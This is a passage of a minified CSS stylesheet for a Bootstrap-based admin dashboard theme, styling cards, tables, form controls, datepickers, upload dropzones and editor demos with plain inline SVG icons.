12px; } .card .card-header .card-header-right .btn.dropdown-toggle.mobile-menu span { background-color: #888; height: 2px; border-radius: 5px; } .card .card-header .card-header-right .btn.dropdown-toggle.mobile-menu span:after, .card .card-header .card-header-right .btn.dropdown-toggle.mobile-menu span:before { border-radius: 5px; height: 2px; background-color: #888; } .card .card-header .card-header-right .nav-pills { padding: 0; box-shadow: none; background: transparent; } .card .card-footer { transition: box-shadow 0.2s ease-in-out; border-top: 1px solid #f1f1f1; } .card .card-img-overlay { background: rgba(0, 0, 0, 0.5); } .card:hover .card-footer[class*="bg-"] { box-shadow: none; } .card.bg-primary { box-shadow: 0 9px 9px -1px rgba(81, 69, 157, 0.3); } .card.bg-secondary { box-shadow: 0 9px 9px -1px rgba(108, 117, 125, 0.3); } .card.bg-success { box-shadow: 0 9px 9px -1px rgba(111, 217, 67, 0.3); } .card.bg-info { box-shadow: 0 9px 9px -1px rgba(62, 201, 214, 0.3); } .card.bg-warning { box-shadow: 0 9px 9px -1px rgba(255, 162, 29, 0.3); } .card.bg-danger { box-shadow: 0 9px 9px -1px rgba(255, 58, 110, 0.3); } .card.bg-light { box-shadow: 0 9px 9px -1px rgba(248, 249, 250, 0.3); } .card.bg-dark { box-shadow: 0 9px 9px -1px rgba(28, 35, 47, 0.3); } @media (max-width: 575.98px) { .card { margin-bottom: 20px; } } .progress { overflow: visible; background: #e8ebf8; } .progress .progress-bar { border-radius: 10px; } .progress .progress-bar.bg-primary { box-shadow: 0 8px 8px -1px rgba(81, 69, 157, 0.3); } .progress .progress-bar.bg-secondary { box-shadow: 0 8px 8px -1px rgba(108, 117, 125, 0.3); } .progress .progress-bar.bg-success { box-shadow: 0 8px 8px -1px rgba(111, 217, 67, 0.3); } .progress .progress-bar.bg-info { box-shadow: 0 8px 8px -1px rgba(62, 201, 214, 0.3); } .progress .progress-bar.bg-warning { box-shadow: 0 8px 8px -1px rgba(255, 162, 29, 0.3); } .progress .progress-bar.bg-danger { box-shadow: 0 8px 8px -1px rgba(255, 58, 110, 0.3); } .progress .progress-bar.bg-light { box-shadow: 0 8px 8px -1px rgba(248, 249, 250, 0.3); } .progress .progress-bar.bg-dark { box-shadow: 0 8px 8px -1px rgba(28, 35, 47, 0.3); } .table.table-align-center td, .table.table-align-center th { vertical-align: middle; } .table thead th { padding: 0.9rem 0.75rem; } .table td, .table th { vertical-align: middle; } .table.table-borderless td, .table.table-borderless th { border: none !important; } body .table thead th { font-size: 12px; } .table-hover tbody tr:hover { background-color: rgba(81, 69, 157, 0.03); } .dataTable-table > tbody > tr > td, .dataTable-table > tbody > tr > th, .dataTable-table > tfoot > tr > td, .dataTable-table > tfoot > tr > th, .dataTable-table > thead > tr > td, .dataTable-table > thead > tr > th { vertical-align: middle; } .table th.text-end[data-sortable] { padding-right: 16px; } .table th.text-end[data-sortable] .dataTable-sorter::before, .table th.text-end[data-sortable] .dataTable-sorter::after { right: -14px; } .dataTable-table tfoot tr th, .dataTable-table tfoot tr td, .dataTable-table thead tr th, .dataTable-table thead tr td, .dataTable-table tbody tr th, .dataTable-table tbody tr td { padding: 0.9rem 0.75rem; } .card:not(.table-card) .dataTable-bottom, .card:not(.table-card) .dataTable-top { padding: 25px 25px; } .card:not(.table-card) .table-responsive { margin: -25px -25px 0 -25px; width: calc(100% + 50px); } .card:not(.table-card) .table { margin-bottom: 0; } .card:not(.table-card) .table > thead > tr > th { border-top: 0; } .card:not(.table-card) .table tr td:first-child, .card:not(.table-card) .table tr th:first-child { padding-left: 25px; } .card:not(.table-card) .table tr td:last-child, .card:not(.table-card) .table tr th:last-child { padding-right: 25px; } .card:not(.table-card) .table.without-header tr:first-child td { border-top: none; } .dataTable-wrapper.no-footer .dataTable-container { border-bottom: none; } .dataTable-dropdown label { display: flex; align-items: center; white-space: nowrap; } .dataTable-dropdown label select.dataTable-selector { width: 75px; margin-right: 10px; } .tabs-border.nav-tabs .nav-item { margin-bottom: 0; } .tabs-border.nav-tabs .nav-link { border: none; background: no-repeat center bottom, center 100%; background-size: 0 100%, 100% 100%; transition: background 0.3s ease-out; background-image: linear-gradient(to top, theme-color("primary") 2px, rgba(255, 255, 255, 0) 2px); } .tabs-border.nav-tabs .nav-link.active { background-size: 100% 100%, 100% 100%; } .tabs-light.nav-pill + .tab-content { border-top: 1px solid #f1f1f1; } .tabs-light.nav-pill .nav-item { margin-bottom: 0; } .tabs-light.nav-pill .nav-item .nav-link { color: #51459d; background: #dcdaeb; border-radius: 4px; transition: background 0.3s ease-out; } .tabs-light.nav-pill .nav-item + .nav-item { margin-left: 10px; } .tabs-light.nav-pill .nav-link { border: none; } .tabs-light.nav-pill .nav-link.active { color: #fff; background: #51459d; } .form-group { margin-bottom: 1.3rem; } .form-group label { font-weight: 600; } .form-control.flatpickr-input[readonly], .flatpickr-input.custom-select[readonly], .flatpickr-input.dataTable-selector[readonly], .flatpickr-input.dataTable-input[readonly] { background: #ffffff; } .input-group-text svg { width: 18px; height: 18px; } select.form-control, select.custom-select, select.dataTable-selector, select.dataTable-input { -webkit-appearance: none; -moz-appearance: none; appearance: none; background: #ffffff url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke='currentColor' stroke-width='2' fill='none' stroke-linecap='round' stroke-linejoin='round' class='css-i6dzq1'%3E%3Cpolyline points='6 9 12 15 18 9'%3E%3C/polyline%3E%3C/svg%3E") no-repeat right 0.75rem center/18px 25px; } select.form-control[data-multiselectsplitter-firstselect-selector], select.custom-select[data-multiselectsplitter-firstselect-selector], select.dataTable-selector[data-multiselectsplitter-firstselect-selector], select.dataTable-input[data-multiselectsplitter-firstselect-selector], select.form-control[data-multiselectsplitter-secondselect-selector], select.custom-select[data-multiselectsplitter-secondselect-selector], select.dataTable-selector[data-multiselectsplitter-secondselect-selector], select.dataTable-input[data-multiselectsplitter-secondselect-selector] { background: none; } .bootstrap-select > .dropdown-toggle.btn-light, .bootstrap-select > .dropdown-toggle.btn-secondary, .bootstrap-select > .dropdown-toggle.btn-default { border-color: #ced4da !important; box-shadow: none; background: #ffffff !important; color: #293240; } .bootstrap-select > .dropdown-toggle.btn-light:focus, .bootstrap-select > .dropdown-toggle.btn-secondary:focus, .bootstrap-select > .dropdown-toggle.btn-default:focus { outline: none !important; } .form-check .form-check-input.input-primary:checked { border-color: #51459d; background-color: #51459d; } .form-check .form-check-input.input-light-primary:checked { border-color: #dcdaeb; background-color: #dcdaeb; } .form-check .form-check-input.input-light-primary:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%2351459d' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-primary:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%2351459d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-primary:focus[type="checkbox"], .form-check .form-check-input.input-primary:focus[type="radio"], .form-check .form-check-input.input-light-primary:focus[type="checkbox"], .form-check .form-check-input.input-light-primary:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-check.form-switch .form-check-input.input-light-primary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%2351459d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-secondary:checked { border-color: #6c757d; background-color: #6c757d; } .form-check .form-check-input.input-light-secondary:checked { border-color: #e2e3e5; background-color: #e2e3e5; } .form-check .form-check-input.input-light-secondary:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%236c757d' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-secondary:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%236c757d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-secondary:focus[type="checkbox"], .form-check .form-check-input.input-secondary:focus[type="radio"], .form-check .form-check-input.input-light-secondary:focus[type="checkbox"], .form-check .form-check-input.input-light-secondary:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.25); } .form-check.form-switch .form-check-input.input-light-secondary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%236c757d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-success:checked { border-color: #6fd943; background-color: #6fd943; } .form-check .form-check-input.input-light-success:checked { border-color: #e2f7d9; background-color: #e2f7d9; } .form-check .form-check-input.input-light-success:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%236fd943' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-success:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%236fd943'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-success:focus[type="checkbox"], .form-check .form-check-input.input-success:focus[type="radio"], .form-check .form-check-input.input-light-success:focus[type="checkbox"], .form-check .form-check-input.input-light-success:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .form-check.form-switch .form-check-input.input-light-success:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%236fd943'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-info:checked { border-color: #3ec9d6; background-color: #3ec9d6; } .form-check .form-check-input.input-light-info:checked { border-color: #d8f4f7; background-color: #d8f4f7; } .form-check .form-check-input.input-light-info:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%233ec9d6' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-info:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%233ec9d6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-info:focus[type="checkbox"], .form-check .form-check-input.input-info:focus[type="radio"], .form-check .form-check-input.input-light-info:focus[type="checkbox"], .form-check .form-check-input.input-light-info:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(62, 201, 214, 0.25); } .form-check.form-switch .form-check-input.input-light-info:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%233ec9d6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-warning:checked { border-color: #ffa21d; background-color: #ffa21d; } .form-check .form-check-input.input-light-warning:checked { border-color: #ffecd2; background-color: #ffecd2; } .form-check .form-check-input.input-light-warning:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ffa21d' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-warning:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23ffa21d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-warning:focus[type="checkbox"], .form-check .form-check-input.input-warning:focus[type="radio"], .form-check .form-check-input.input-light-warning:focus[type="checkbox"], .form-check .form-check-input.input-light-warning:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(255, 162, 29, 0.25); } .form-check.form-switch .form-check-input.input-light-warning:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ffa21d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-danger:checked { border-color: #ff3a6e; background-color: #ff3a6e; } .form-check .form-check-input.input-light-danger:checked { border-color: #ffd8e2; background-color: #ffd8e2; } .form-check .form-check-input.input-light-danger:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ff3a6e' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-danger:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23ff3a6e'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-danger:focus[type="checkbox"], .form-check .form-check-input.input-danger:focus[type="radio"], .form-check .form-check-input.input-light-danger:focus[type="checkbox"], .form-check .form-check-input.input-light-danger:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(255, 58, 110, 0.25); } .form-check.form-switch .form-check-input.input-light-danger:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ff3a6e'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light:checked { border-color: #f8f9fa; background-color: #f8f9fa; } .form-check .form-check-input.input-light-light:checked { border-color: #fefefe; background-color: #fefefe; } .form-check .form-check-input.input-light-light:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23f8f9fa' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-light:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23f8f9fa'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light:focus[type="checkbox"], .form-check .form-check-input.input-light:focus[type="radio"], .form-check .form-check-input.input-light-light:focus[type="checkbox"], .form-check .form-check-input.input-light-light:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.25); } .form-check.form-switch .form-check-input.input-light-light:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23f8f9fa'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-dark:checked { border-color: #1c232f; background-color: #1c232f; } .form-check .form-check-input.input-light-dark:checked { border-color: #d2d3d5; background-color: #d2d3d5; } .form-check .form-check-input.input-light-dark:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%231c232f' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-dark:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%231c232f'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-dark:focus[type="checkbox"], .form-check .form-check-input.input-dark:focus[type="radio"], .form-check .form-check-input.input-light-dark:focus[type="checkbox"], .form-check .form-check-input.input-light-dark:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(28, 35, 47, 0.25); } .form-check.form-switch .form-check-input.input-light-dark:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%231c232f'/%3e%3c/svg%3e"); } .input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle), .input-group > .input-group-append:last-child > .input-group-text:not(:last-child), .input-group > .input-group-append:not(:last-child) > .btn, .input-group > .input-group-append:not(:last-child) > .input-group-text, .input-group > .input-group-prepend > .btn, .input-group > .input-group-prepend > .input-group-text { border-right: none; } .form-v1 .form-label-group { position: relative; margin-bottom: 1rem; } .form-v1 .form-label-group > input, .form-v1 .form-label-group > label { height: 3.125rem; padding: 0.75rem; } .form-v1 .form-label-group > label { position: absolute; top: 0; left: 0; display: block; width: 100%; color: #495057; pointer-events: none; cursor: text; border: 1px solid transparent; border-radius: 0.25rem; transition: all 0.1s ease-in-out; } .form-v1 .form-label-group input::-moz-placeholder { color: transparent; } .form-v1 .form-label-group input::placeholder { color: transparent; } .form-v1 .form-label-group input:not(:-moz-placeholder-shown) { padding-top: 1.25rem; padding-bottom: 0.25rem; } .form-v1 .form-label-group input:not(:placeholder-shown) { padding-top: 1.25rem; padding-bottom: 0.25rem; } .form-v1 .form-label-group input:not(:-moz-placeholder-shown) ~ label { padding-top: 0.25rem; padding-bottom: 0.25rem; font-size: 12px; color: #777; } .form-v1 .form-label-group input:not(:placeholder-shown) ~ label { padding-top: 0.25rem; padding-bottom: 0.25rem; font-size: 12px; color: #777; } .datepicker { width: 265px; padding: 10px; } .datepicker.dropdown-menu { padding: 10px; } .datepicker.datepicker-orient-top { margin-top: 8px; } .datepicker table { width: 100%; } .datepicker td, .datepicker th { font-weight: regular; width: 35px; height: 35px; } .datepicker thead th { color: #060606; } .datepicker thead th.datepicker-switch, .datepicker thead th.next, .datepicker thead th.prev { font-weight: 500; color: #293240; } .datepicker thead th.datepicker-switch i, .datepicker thead th.next i, .datepicker thead th.prev i { font-size: 1.2rem; color: #293240; } .datepicker thead th.datepicker-switch i:before, .datepicker thead th.next i:before, .datepicker thead th.prev i:before { line-height: 0; vertical-align: middle; } .datepicker thead th.datepicker-switch:hover, .datepicker thead th.next:hover, .datepicker thead th.prev:hover { background: #f8f9fd !important; } .datepicker thead th.dow { color: #293240; font-weight: 500; } .datepicker tbody tr > td.day { color: #293240; } .datepicker tbody tr > td.day:hover { background: #f8f9fd; color: #293240; } .datepicker tbody tr > td.day.old { color: #293240; } .datepicker tbody tr > td.day.new { color: #293240; } .datepicker tbody tr > td.day.active, .datepicker tbody tr > td.day.active:hover, .datepicker tbody tr > td.day.selected, .datepicker tbody tr > td.day.selected:hover { background: #51459d; color: #fff; } .datepicker tbody tr > td.day.today { position: relative; background: #51459d !important; color: #fff !important; } .datepicker tbody tr > td.day.today:before { content: ""; display: inline-block; border: solid transparent; border-width: 0 0 7px 7px; border-bottom-color: #ffffff; border-top-color: #293240; position: absolute; bottom: 4px; right: 4px; } .datepicker tbody tr > td.day.range { background: #f8f9fd; } .datepicker tbody tr > td span.hour, .datepicker tbody tr > td span.minute, .datepicker tbody tr > td span.month, .datepicker tbody tr > td span.year { color: #293240; } .datepicker tbody tr > td span.hour:hover, .datepicker tbody tr > td span.minute:hover, .datepicker tbody tr > td span.month:hover, .datepicker tbody tr > td span.year:hover { background: #f8f9fd; } .datepicker tbody tr > td span.hour.active, .datepicker tbody tr > td span.hour.active.focused:hover, .datepicker tbody tr > td span.hour.active:hover, .datepicker tbody tr > td span.hour.focused, .datepicker tbody tr > td span.hour.focused:hover, .datepicker tbody tr > td span.minute.active, .datepicker tbody tr > td span.minute.active.focused:hover, .datepicker tbody tr > td span.minute.active:hover, .datepicker tbody tr > td span.minute.focused, .datepicker tbody tr > td span.minute.focused:hover, .datepicker tbody tr > td span.month.active, .datepicker tbody tr > td span.month.active.focused:hover, .datepicker tbody tr > td span.month.active:hover, .datepicker tbody tr > td span.month.focused, .datepicker tbody tr > td span.month.focused:hover, .datepicker tbody tr > td span.year.active, .datepicker tbody tr > td span.year.active.focused:hover, .datepicker tbody tr > td span.year.active:hover, .datepicker tbody tr > td span.year.focused, .datepicker tbody tr > td span.year.focused:hover { background: #51459d; color: #fff; } .datepicker tfoot tr > th.clear, .datepicker tfoot tr > th.today { font-weight: 500; } .datepicker tfoot tr > th.clear:hover, .datepicker tfoot tr > th.today:hover { background: #f8f9fd; } .datepicker.datepicker-inline { border: 1px solid #f1f1f1; } .bootstrap-timepicker-widget { left: auto; width: 175px; } .bootstrap-timepicker-widget .bootstrap-timepicker-hour, .bootstrap-timepicker-widget .bootstrap-timepicker-meridian, .bootstrap-timepicker-widget .bootstrap-timepicker-minute, .bootstrap-timepicker-widget .bootstrap-timepicker-second { border: none; box-shadow: none; } .bootstrap-timepicker-widget table td > a { border: 0; } .bootstrap-timepicker-widget table td > a i { font-size: 1.1rem; } .bootstrap-timepicker-widget .bootstrap-timepicker-hour, .bootstrap-timepicker-widget .bootstrap-timepicker-meridian, .bootstrap-timepicker-widget .bootstrap-timepicker-minute, .bootstrap-timepicker-widget .bootstrap-timepicker-second { color: #060606; } .bootstrap-timepicker-widget table td > a:hover { background: #f8f9fd; } .tagify__tag { --tag-bg: #f8f9fd; --tag-hover: rgba(81, 69, 157, 0.3); --tag-remove-bg: rgba(255, 58, 110, 0.3); --tag-remove-btn-bg--hover: #ff3a6e; } .tagify__tag.tagify__tag--primary { --tag-bg: rgba(81, 69, 157, 0.2); } .tagify__tag.tagify__tag--primary div .tagify__tag-text { color: #51459d; } .tagify__tag.tagify__tag--secondary { --tag-bg: rgba(108, 117, 125, 0.2); } .tagify__tag.tagify__tag--secondary div .tagify__tag-text { color: #6c757d; } .tagify__tag.tagify__tag--success { --tag-bg: rgba(111, 217, 67, 0.2); } .tagify__tag.tagify__tag--success div .tagify__tag-text { color: #6fd943; } .tagify__tag.tagify__tag--info { --tag-bg: rgba(62, 201, 214, 0.2); } .tagify__tag.tagify__tag--info div .tagify__tag-text { color: #3ec9d6; } .tagify__tag.tagify__tag--warning { --tag-bg: rgba(255, 162, 29, 0.2); } .tagify__tag.tagify__tag--warning div .tagify__tag-text { color: #ffa21d; } .tagify__tag.tagify__tag--danger { --tag-bg: rgba(255, 58, 110, 0.2); } .tagify__tag.tagify__tag--danger div .tagify__tag-text { color: #ff3a6e; } .tagify__tag.tagify__tag--light { --tag-bg: rgba(248, 249, 250, 0.2); } .tagify__tag.tagify__tag--light div .tagify__tag-text { color: #f8f9fa; } .tagify__tag.tagify__tag--dark { --tag-bg: rgba(28, 35, 47, 0.2); } .tagify__tag.tagify__tag--dark div .tagify__tag-text { color: #1c232f; } .bootstrap-switch { border-color: #f1f1f1; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-default, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-default { background: #f8f9fd; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-primary, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-primary { color: #fff; background: #51459d; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-secondary, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-secondary { color: #fff; background: #6c757d; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-success, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-success { color: #fff; background: #6fd943; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-info, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-info { color: #fff; background: #3ec9d6; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-warning, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-warning { color: #fff; background: #ffa21d; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-danger, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-danger { color: #fff; background: #ff3a6e; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-light, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-light { color: #fff; background: #f8f9fa; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-dark, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-dark { color: #fff; background: #1c232f; } .bootstrap-select > .dropdown-toggle.bs-placeholder.btn[class*="btn-"]:not(.btn-light) { color: #fff; } .typeahead .twitter-typeahead { display: block !important; } .scrollable-dropdown-menu .tt-menu { max-height: 150px; overflow-y: auto; } .tt-menu { padding: 10px 0; font-size: 0.875rem; background: #fff; min-width: 10rem; border: 1px solid rgba(0, 0, 0, 0.15); border-radius: 4px; } .tt-menu .tt-suggestion { padding: 4px 20px; border-radius: 2px; } .tt-menu .tt-suggestion.active, .tt-menu .tt-suggestion:active, .tt-menu .tt-suggestion:focus, .tt-menu .tt-suggestion:hover { background: rgba(81, 69, 157, 0.03); color: #51459d; } .sticky-action .card-header { background: #fff; z-index: 1; } .sticky-action.sticky .card-header { top: 0; position: fixed; box-shadow: 0 1px 15px 1px rgba(57, 82, 107, 0.15); left: calc(255px + 30px); right: 30px; } @media (max-width: 1024px) { .sticky-action.sticky .card-header { top: calc(60px + 10px); } } .dropzone { min-height: auto; } .dropzone { padding: 20px; text-align: center; cursor: pointer; border: 2px dashed #f1f1f1; border-radius: 10px; } .dropzone .dropzone-msg-title { color: #293240; margin: 0 0 5px; padding: 0; font-weight: 500; font-size: 1.2rem; } .dropzone .dropzone-msg-desc { color: #293240; font-weight: 400; font-size: 1rem; } .dropzone .dz-preview .dz-image { border-radius: 10px; } .dropzone.dropzone-primary { border-color: #51459d; } .dropzone.dropzone-secondary { border-color: #6c757d; } .dropzone.dropzone-success { border-color: #6fd943; } .dropzone.dropzone-info { border-color: #3ec9d6; } .dropzone.dropzone-warning { border-color: #ffa21d; } .dropzone.dropzone-danger { border-color: #ff3a6e; } .dropzone.dropzone-light { border-color: #f8f9fa; } .dropzone.dropzone-dark { border-color: #1c232f; } .dz-started .dropzone-msg { display: none; } .dropzone-multi { border: 0; padding: 0; } .dropzone-multi .dz-message { display: none; } .dropzone-multi .dropzone-panel .dropzone-remove-all, .dropzone-multi .dropzone-panel .dropzone-upload { display: none; } .dropzone-multi .dropzone-item { background: #f8f9fd; border-radius: 10px; margin: 8px 0; display: flex; align-items: center; justify-content: space-between; padding: 8px 14px; } .dropzone-multi .dropzone-item .dropzone-progress { width: 20%; } .dropzone-multi .dropzone-item .dropzone-progress .progress { height: 0.5rem; transition: all 0.2s ease-in-out; } .dropzone-multi .dropzone-item .dropzone-file .dropzone-filename { font-size: 0.9rem; font-weight: 500; color: #293240; text-overflow: ellipsis; margin-right: 0.5rem; } .dropzone-multi .dropzone-item .dropzone-file .dropzone-filename b { font-size: 0.9rem; font-weight: 500; color: #293240; } .dropzone-multi .dropzone-item .dropzone-file .dropzone-error { margin-top: 0.25rem; font-size: 0.9rem; font-weight: 400; color: #ff3a6e; text-overflow: ellipsis; } .dropzone-multi .dropzone-item .dropzone-toolbar { margin-left: 1rem; display: flex; flex-wrap: nowrap; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-cancel, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-delete, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start { height: 25px; width: 25px; display: inline-flex; align-items: center; justify-content: center; cursor: pointer; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-cancel i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-delete i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start i { font-size: 0.8rem; color: #060606; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-cancel:hover i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-delete:hover i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start:hover i { color: #51459d; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start { transition: all 0.2s ease-in-out; } .uppy-Dashboard--modal { z-index: 1030; } .uppy-Dashboard--modal .uppy-Dashboard-overlay { z-index: 1030; } .uppy-Dashboard--modal .uppy-Dashboard-inner { z-index: 1031; } .uppy-DragDrop--is-dragdrop-supported { border-color: #f8f9fd; } .dash-uppy-thumbnail-container .dash-uppy-thumbnail img { width: 100px; } .slider-selection { box-shadow: none; } .dash-toggle-noUiSlider { height: 50px; } .dash-toggle-noUiSlider.off .noUi-handle { border-color: #ff3a6e; background: #ff3a6e; box-shadow: none; } .note-editor.card .card-header { padding: 0 5px 5px; border-bottom-color: #a9a9a9; } #cke5-inline-demo .ck-content { margin-bottom: 1rem; padding: 2.5rem; background-color: #fff; border: 1px solid rgba(0, 0, 0, 0.15); } #cke5-inline-demo .ck-content h3, #cke5-inline-demo .ck-content .h3 { margin-top: 0; } #cke5-inline-demo header.ck-content { text-align: center; } #cke5-inline-demo header.ck-content h2:first-of-type, #cke5-inline-demo header.ck-content .h2:first-of-type { margin-top: 0; } #cke5-inline-demo header.ck-content h2 + h3, #cke5-inline-demo header.ck-content .h2 + h3, #cke5-inline-demo header.ck-content h2 + .h3, #cke5-inline-demo header.ck-content .h2 + .h3 { margin-top: 0; color: #293240; font-weight: 600; } #cke5-inline-demo .demo-row { width: 100%; display: flex; } #cke5-inline-demo .demo-row .demo-row__half { width: 50%; } #cke5-inline-demo .demo-row .demo-row__half:first-of-type { padding-right: 0.5rem; } #cke5-inline-demo .demo-row .demo-row__half:last-of-type { padding-left: 0.5rem; } 